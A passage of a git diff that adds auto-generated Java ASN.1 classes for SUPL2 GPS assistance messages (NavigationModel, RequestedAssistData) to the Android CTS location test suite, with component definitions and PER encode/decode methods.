+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsWeek() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsWeek();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsWeekToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.gpsWeekType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsWeek : "
+ + getGpsWeek().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.gpsToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsToe : "
+ + getGpsToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getNSAT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNSAT();
+ }
+
+ @Override public void setToNewInstance() {
+ setNSATToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.nSATType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nSAT : "
+ + getNSAT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getToeLimit() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getToeLimit();
+ }
+
+ @Override public void setToNewInstance() {
+ setToeLimitToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.toeLimitType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "toeLimit : "
+ + getToeLimit().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satInfo : "
+ + getSatInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsWeekType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsWeekType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsWeekType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsWeekType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsWeekType != null) {
+ return ImmutableList.of(TAG_gpsWeekType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsWeekType from encoded stream.
+ */
+ public static gpsWeekType fromPerUnaligned(byte[] encodedBytes) {
+ gpsWeekType result = new gpsWeekType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsWeekType from encoded stream.
+ */
+ public static gpsWeekType fromPerAligned(byte[] encodedBytes) {
+ gpsWeekType result = new gpsWeekType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsWeekType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsToeType() {
+ super();
+ setValueRange("0", "167");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsToeType != null) {
+ return ImmutableList.of(TAG_gpsToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsToeType from encoded stream.
+ */
+ public static gpsToeType fromPerUnaligned(byte[] encodedBytes) {
+ gpsToeType result = new gpsToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsToeType from encoded stream.
+ */
+ public static gpsToeType fromPerAligned(byte[] encodedBytes) {
+ gpsToeType result = new gpsToeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nSATType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nSATType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nSATType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nSATType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nSATType != null) {
+ return ImmutableList.of(TAG_nSATType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nSATType from encoded stream.
+ */
+ public static nSATType fromPerUnaligned(byte[] encodedBytes) {
+ nSATType result = new nSATType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nSATType from encoded stream.
+ */
+ public static nSATType fromPerAligned(byte[] encodedBytes) {
+ nSATType result = new nSATType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nSATType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class toeLimitType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_toeLimitType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public toeLimitType() {
+ super();
+ setValueRange("0", "10");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_toeLimitType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_toeLimitType != null) {
+ return ImmutableList.of(TAG_toeLimitType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new toeLimitType from encoded stream.
+ */
+ public static toeLimitType fromPerUnaligned(byte[] encodedBytes) {
+ toeLimitType result = new toeLimitType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new toeLimitType from encoded stream.
+ */
+ public static toeLimitType fromPerAligned(byte[] encodedBytes) {
+ toeLimitType result = new toeLimitType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "toeLimitType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavigationModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java
new file mode 100755
index 0000000..43ab705
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java
@@ -0,0 +1,1537 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_RequestedAssistData_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class RequestedAssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_RequestedAssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RequestedAssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RequestedAssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RequestedAssistData != null) {
+ return ImmutableList.of(TAG_RequestedAssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RequestedAssistData from encoded stream.
+ */
+ public static RequestedAssistData fromPerUnaligned(byte[] encodedBytes) {
+ RequestedAssistData result = new RequestedAssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RequestedAssistData from encoded stream.
+ */
+ public static RequestedAssistData fromPerAligned(byte[] encodedBytes) {
+ RequestedAssistData result = new RequestedAssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RequestedAssistData.almanacRequestedType almanacRequested_;
+ public RequestedAssistData.almanacRequestedType getAlmanacRequested() {
+ return almanacRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.almanacRequestedType
+ */
+ public void setAlmanacRequested(Asn1Object value) {
+ this.almanacRequested_ = (RequestedAssistData.almanacRequestedType) value;
+ }
+ public RequestedAssistData.almanacRequestedType setAlmanacRequestedToNewInstance() {
+ almanacRequested_ = new RequestedAssistData.almanacRequestedType();
+ return almanacRequested_;
+ }
+
+ private RequestedAssistData.utcModelRequestedType utcModelRequested_;
+ public RequestedAssistData.utcModelRequestedType getUtcModelRequested() {
+ return utcModelRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.utcModelRequestedType
+ */
+ public void setUtcModelRequested(Asn1Object value) {
+ this.utcModelRequested_ = (RequestedAssistData.utcModelRequestedType) value;
+ }
+ public RequestedAssistData.utcModelRequestedType setUtcModelRequestedToNewInstance() {
+ utcModelRequested_ = new RequestedAssistData.utcModelRequestedType();
+ return utcModelRequested_;
+ }
+
+ private RequestedAssistData.ionosphericModelRequestedType ionosphericModelRequested_;
+ public RequestedAssistData.ionosphericModelRequestedType getIonosphericModelRequested() {
+ return ionosphericModelRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.ionosphericModelRequestedType
+ */
+ public void setIonosphericModelRequested(Asn1Object value) {
+ this.ionosphericModelRequested_ = (RequestedAssistData.ionosphericModelRequestedType) value;
+ }
+ public RequestedAssistData.ionosphericModelRequestedType setIonosphericModelRequestedToNewInstance() {
+ ionosphericModelRequested_ = new RequestedAssistData.ionosphericModelRequestedType();
+ return ionosphericModelRequested_;
+ }
+
+ private RequestedAssistData.dgpsCorrectionsRequestedType dgpsCorrectionsRequested_;
+ public RequestedAssistData.dgpsCorrectionsRequestedType getDgpsCorrectionsRequested() {
+ return dgpsCorrectionsRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.dgpsCorrectionsRequestedType
+ */
+ public void setDgpsCorrectionsRequested(Asn1Object value) {
+ this.dgpsCorrectionsRequested_ = (RequestedAssistData.dgpsCorrectionsRequestedType) value;
+ }
+ public RequestedAssistData.dgpsCorrectionsRequestedType setDgpsCorrectionsRequestedToNewInstance() {
+ dgpsCorrectionsRequested_ = new RequestedAssistData.dgpsCorrectionsRequestedType();
+ return dgpsCorrectionsRequested_;
+ }
+
+ private RequestedAssistData.referenceLocationRequestedType referenceLocationRequested_;
+ public RequestedAssistData.referenceLocationRequestedType getReferenceLocationRequested() {
+ return referenceLocationRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.referenceLocationRequestedType
+ */
+ public void setReferenceLocationRequested(Asn1Object value) {
+ this.referenceLocationRequested_ = (RequestedAssistData.referenceLocationRequestedType) value;
+ }
+ public RequestedAssistData.referenceLocationRequestedType setReferenceLocationRequestedToNewInstance() {
+ referenceLocationRequested_ = new RequestedAssistData.referenceLocationRequestedType();
+ return referenceLocationRequested_;
+ }
+
+ private RequestedAssistData.referenceTimeRequestedType referenceTimeRequested_;
+ public RequestedAssistData.referenceTimeRequestedType getReferenceTimeRequested() {
+ return referenceTimeRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.referenceTimeRequestedType
+ */
+ public void setReferenceTimeRequested(Asn1Object value) {
+ this.referenceTimeRequested_ = (RequestedAssistData.referenceTimeRequestedType) value;
+ }
+ public RequestedAssistData.referenceTimeRequestedType setReferenceTimeRequestedToNewInstance() {
+ referenceTimeRequested_ = new RequestedAssistData.referenceTimeRequestedType();
+ return referenceTimeRequested_;
+ }
+
+ private RequestedAssistData.acquisitionAssistanceRequestedType acquisitionAssistanceRequested_;
+ public RequestedAssistData.acquisitionAssistanceRequestedType getAcquisitionAssistanceRequested() {
+ return acquisitionAssistanceRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.acquisitionAssistanceRequestedType
+ */
+ public void setAcquisitionAssistanceRequested(Asn1Object value) {
+ this.acquisitionAssistanceRequested_ = (RequestedAssistData.acquisitionAssistanceRequestedType) value;
+ }
+ public RequestedAssistData.acquisitionAssistanceRequestedType setAcquisitionAssistanceRequestedToNewInstance() {
+ acquisitionAssistanceRequested_ = new RequestedAssistData.acquisitionAssistanceRequestedType();
+ return acquisitionAssistanceRequested_;
+ }
+
+ private RequestedAssistData.realTimeIntegrityRequestedType realTimeIntegrityRequested_;
+ public RequestedAssistData.realTimeIntegrityRequestedType getRealTimeIntegrityRequested() {
+ return realTimeIntegrityRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.realTimeIntegrityRequestedType
+ */
+ public void setRealTimeIntegrityRequested(Asn1Object value) {
+ this.realTimeIntegrityRequested_ = (RequestedAssistData.realTimeIntegrityRequestedType) value;
+ }
+ public RequestedAssistData.realTimeIntegrityRequestedType setRealTimeIntegrityRequestedToNewInstance() {
+ realTimeIntegrityRequested_ = new RequestedAssistData.realTimeIntegrityRequestedType();
+ return realTimeIntegrityRequested_;
+ }
+
+ private RequestedAssistData.navigationModelRequestedType navigationModelRequested_;
+ public RequestedAssistData.navigationModelRequestedType getNavigationModelRequested() {
+ return navigationModelRequested_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData.navigationModelRequestedType
+ */
+ public void setNavigationModelRequested(Asn1Object value) {
+ this.navigationModelRequested_ = (RequestedAssistData.navigationModelRequestedType) value;
+ }
+ public RequestedAssistData.navigationModelRequestedType setNavigationModelRequestedToNewInstance() {
+ navigationModelRequested_ = new RequestedAssistData.navigationModelRequestedType();
+ return navigationModelRequested_;
+ }
+
+ private NavigationModel navigationModelData_;
+ public NavigationModel getNavigationModelData() {
+ return navigationModelData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel
+ */
+ public void setNavigationModelData(Asn1Object value) {
+ this.navigationModelData_ = (NavigationModel) value;
+ }
+ public NavigationModel setNavigationModelDataToNewInstance() {
+ navigationModelData_ = new NavigationModel();
+ return navigationModelData_;
+ }
+
+
+
+ private Ver2_RequestedAssistData_extension extensionVer2_RequestedAssistData_extension;
+ public Ver2_RequestedAssistData_extension getExtensionVer2_RequestedAssistData_extension() {
+ return extensionVer2_RequestedAssistData_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_RequestedAssistData_extension
+ */
+ public void setExtensionVer2_RequestedAssistData_extension(Asn1Object value) {
+ extensionVer2_RequestedAssistData_extension = (Ver2_RequestedAssistData_extension) value;
+ }
+ public void setExtensionVer2_RequestedAssistData_extensionToNewInstance() {
+ extensionVer2_RequestedAssistData_extension = new Ver2_RequestedAssistData_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.almanacRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacRequested : "
+ + getAlmanacRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcModelRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcModelRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcModelRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.utcModelRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcModelRequested : "
+ + getUtcModelRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonosphericModelRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonosphericModelRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonosphericModelRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.ionosphericModelRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionosphericModelRequested : "
+ + getIonosphericModelRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getDgpsCorrectionsRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDgpsCorrectionsRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setDgpsCorrectionsRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.dgpsCorrectionsRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dgpsCorrectionsRequested : "
+ + getDgpsCorrectionsRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceLocationRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceLocationRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceLocationRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.referenceLocationRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceLocationRequested : "
+ + getReferenceLocationRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceTimeRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceTimeRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceTimeRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.referenceTimeRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceTimeRequested : "
+ + getReferenceTimeRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAcquisitionAssistanceRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAcquisitionAssistanceRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setAcquisitionAssistanceRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.acquisitionAssistanceRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "acquisitionAssistanceRequested : "
+ + getAcquisitionAssistanceRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getRealTimeIntegrityRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRealTimeIntegrityRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setRealTimeIntegrityRequestedToNewInstance();
+ }
+
